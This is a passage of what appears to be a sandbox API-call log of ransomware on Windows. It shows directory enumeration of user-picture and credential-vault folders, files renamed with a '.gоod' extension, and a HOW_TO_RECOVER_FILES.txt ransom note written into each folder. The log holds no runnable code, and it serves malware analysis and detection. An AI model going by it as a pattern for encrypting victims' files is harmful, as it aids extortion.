lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337edde1, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x337edde1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x321b9e15, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x970, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-192.png.gоod", cAlternateFileName="")) returned 1 [0154.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x32337506, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-32.png.gоod", cAlternateFileName="")) returned 1 [0154.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3284873e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-40.png.gоod", cAlternateFileName="")) returned 1 [0154.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x32bb5dfa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-48.png.gоod", cAlternateFileName="")) returned 1 [0154.921] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x334a6a24, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x93048, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp.gоod", cAlternateFileName="")) returned 1 [0154.921] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1528, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png.gоod", cAlternateFileName="")) returned 1 [0154.921] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.921] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0154.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0154.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0154.921] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures", lpFilePart=0x0) returned 0x32 [0154.921] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x337edde1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.921] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x337edde1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.922] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ecc15f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa4ecc15f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3045be4d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x930e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default User.dat.gоod", cAlternateFileName="DEFAUL~1.GOD")) returned 1 [0154.922] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37896d36, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37896d36, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x31196170, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy.dat.gоod", cAlternateFileName="")) returned 1 [0154.922] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x317638df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x93048, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp.gоod", cAlternateFileName="")) returned 1 [0154.922] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x31cf5233, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1528, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.png.gоod", cAlternateFileName="")) returned 1 [0154.922] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337edde1, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x337edde1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.922] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x321b9e15, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x970, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-192.png.gоod", cAlternateFileName="")) returned 1 [0154.922] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x32337506, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-32.png.gоod", cAlternateFileName="")) returned 1 [0154.923] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3284873e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-40.png.gоod", cAlternateFileName="")) returned 1 [0154.923] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x32bb5dfa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-48.png.gоod", cAlternateFileName="")) returned 1 [0154.923] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x334a6a24, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x93048, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp.gоod", cAlternateFileName="")) returned 1 [0154.923] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1528, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png.gоod", cAlternateFileName="")) returned 1 [0154.923] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x337edde1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1528, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png.gоod", cAlternateFileName="")) returned 0 [0154.923] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0154.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0154.924] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0154.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0154.924] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0154.925] GetFileType (hFile=0x7f8) returned 0x1 [0154.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0154.925] GetFileType (hFile=0x7f8) returned 0x1 [0154.926] WriteFile (in: hFile=0x7f8, lpBuffer=0x32ec7d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x32ec7d8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0154.927] CloseHandle (hObject=0x7f8) returned 1 [0154.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0154.927] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault", lpFilePart=0x0) returned 0x22 [0154.927] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.927] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.928] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 1 [0154.928] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.928] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.928] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0154.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0154.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0154.928] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault", lpFilePart=0x0) returned 0x22 [0154.928] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.928] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.929] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 1 [0154.929] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.929] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0154.929] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0154.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0154.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0154.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0154.929] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204", lpFilePart=0x0) returned 0x47 [0154.930] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0154.930] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.930] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", cAlternateFileName="154E23~1.VSC")) returned 1 [0154.930] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", cAlternateFileName="2F1A65~1.VSC")) returned 1 [0154.930] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", cAlternateFileName="3CCD54~1.VSC")) returned 1 [0154.930] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33814094, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33814094, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33814094, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0154.930] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc02e0f2e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol", cAlternateFileName="POLICY~1.VPO")) returned 1 [0154.931] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 